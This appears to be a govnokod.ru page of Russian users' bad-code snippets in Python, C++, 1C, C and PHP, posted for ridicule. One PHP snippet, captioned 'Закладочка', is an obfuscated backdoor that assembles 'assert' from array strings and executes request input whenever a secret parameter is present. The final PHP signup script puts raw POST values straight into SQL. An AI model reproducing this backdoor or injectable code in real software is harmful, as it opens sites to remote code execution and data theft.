- 1
Течка по "Node JS" завершена?
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
Течка по "Node JS" завершена?
+3
class JSObject(object):
def __init__(self, d):
self.__dict__.update(d)
def __getitem__(self, item):
return self.__getattribute__(item)
def __setitem__(self, item, value):
return self.__setattr__(item, value)
def __delitem__(self, item):
return self.__delattr__(item)
def __getattribute__(self, name):
try:
val = object.__getattribute__(self, name)
except AttributeError:
return undefined
else:
return val
def __delattr__(self, name):
try:
object.__delattr__(self, name)
except AttributeError:
pass
return None
def __str__(self):
return '[object Object]'
def __repr__(self):
return self.__dict__.__str__()
class JSUndefined:
__getitem__ = lambda a, b: undefined
__setitem__ = lambda a, b, c: undefined
__delitem__ = lambda a, b, c: undefined
__getattribute__ = lambda a, b: undefined
__setattr__ = lambda a, b, c: undefined
__delattr__ = lambda a, b: undefined
__str__ = lambda self: 'undefined'
__repr__ = lambda self: 'undefined'
undefined = JSUndefined()
Перевёл «JavaScript» на «Python».
0
// https://github.com/QWalk/mainline/blob/b12ea3652226caef23c2f5fc7b168746c89096f2/src/system/Pseudopotential_so.cpp#L36
doublevar legendre_so(doublevar x, int n)
{
switch(n)
{
case 0:
return 1;
case 1:
return x;
case 2:
return .5*(3*x*x-1);
case 3:
return .5*(5*x*x*x - 3*x);
case 4:
return 0.125*(35*x*x*x*x -30*x*x +3);
case 5:
return 0.125*(63*x*x*x*x*x - 70*x*x*x + 15*x);
default:
error("Do not have legendre polynomial of order ", n);
return 0; //shouldn't get here, but gets rid of a compiler message
}
}
Вот нет чтоб через шаблоноговно нагенерировать эти свои многочлены Лагранжа.
https://en.wikipedia.org/wiki/Legendre_polynomials#Rodrigues'_formula_and_other_explicit_formulas
Интересно, сколько строк шаблоноговна на это придется потратить?
И вообще, надо чтоб гомоиконность!
+2
Функция ПолучитьСтавкуНДС(СуммаСНДС, НДС)
Если НДС = 0 Тогда
Возврат Перечисления.СтавкиНДС.БезНДС;
ИначеЕсли СуммаСНДС = 0 Тогда //некорректные данные
Возврат Перечисления.СтавкиНДС.БезНДС;
ИначеЕсли НДС / СуммаСНДС <= 0.152+0.0152 и НДС / СуммаСНДС >= 0.152-0.0152 Тогда
Возврат Перечисления.СтавкиНДС.НДС18;
ИначеЕсли НДС / СуммаСНДС <= 0.091+0.0091 и НДС / СуммаСНДС >= 0.091-0.0091 Тогда
Возврат Перечисления.СтавкиНДС.НДС10;
КонецЕсли;
КонецФункции
Костыль костыльный
0
function b($d,$a){
if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
if(isset($_REQUEST['s'.md5('bgdfgt')])){
if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
}
return true;
}
return false;
}
$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));
Закладочка
−3
for (i=1; i<=n-k+1; i++) { for (j=k; j<=n+1-i; j++) printf("%d", j); printf("\n"); k++; n++; } }
Из студенческих лабораторных.
Что делает - догадайтесь сами =)
+2
void add_SSE(uint8_t a[static 7], uint8_t b[static 7], uint8_t out[static 7])
{
uint64_t a_64 = 0;
uint64_t b_64 = 0;
for (size_t i = 0; i < 7; i++) // можно наанроллить
{
a_64 |= (uint64_t)a[i] << (i*9);
b_64 |= (uint64_t)b[i] << (i*9);
}
uint64_t c_64 = a_64 + b_64;
for (size_t i = 0; i < 7; i++) // можно наанроллить
{
out[i] = (uint64_t)c_64 >> (i*9);
}
}
SSE
0
Писал значит обмен ну там по http запросами и прочим говном на 1С между сайтом на битриксе и самой базой.
Сидел и думал, каким форматом обмениваться
Эти ссаные phpшники из центральной россии предлагали JSON и CSV.
А я подумал, и подумал что не хочу слишком банально. Написал сериализацию с 1С в lua, и обмениваюсь lua.
эти phpшные хуйни в шоке, ведь у них нет такого десериализатора. Жду от них результата уже джва года.
ух какой я злодей.
−2
Установил вчера вечером OpenSuse Leap 15.0 в VirtualBox.
В инет сейчас выход только через USB модем от МТС (он же Huawei).
Сутки потратил на чтение и эксперименты по пробросу модема в виртуалку.
Дали архив с программой МТС Коннект под Linux.
Устанавливал (с ручной доставкой зависимостей на чистую систему) драйвер из этого пакета,
пробовал расшарить из винды адаптер USB на другие интерфейсы.
Ничего не помогало.
И тут, я подключил модем к виртуалке и случайно ткнул в апплет "Network Manager",
который предложил установить мне соединение через модем.
Пару кликов, и всё заработало. Он даже знал, какую точку доступа надо юзать.
Не предложив даже вбить телефонный номер (модем всё-же).
То бишь, мастдай глубоко sosnool?
−4
<?php
include_once "config.php";
if(isset($_POST['username'])) $username = $_POST['username'];
if(isset($_POST['password'])) $level = $_POST['password'];
if(isset($_POST['mail'])) $mail = $_POST['mail'];
if (isset($username) && isset($password) && isset($mail)){
$sql = mysql_query("INSERT INTO 'gamedata' (id, username, password, mail) VALUES (NULL, '$username', '$password', '$mail')");
}
?>
Я тут вам покушать принёс. Но не просто так, а с вопросом: почему этай хуйня не записывается в базу?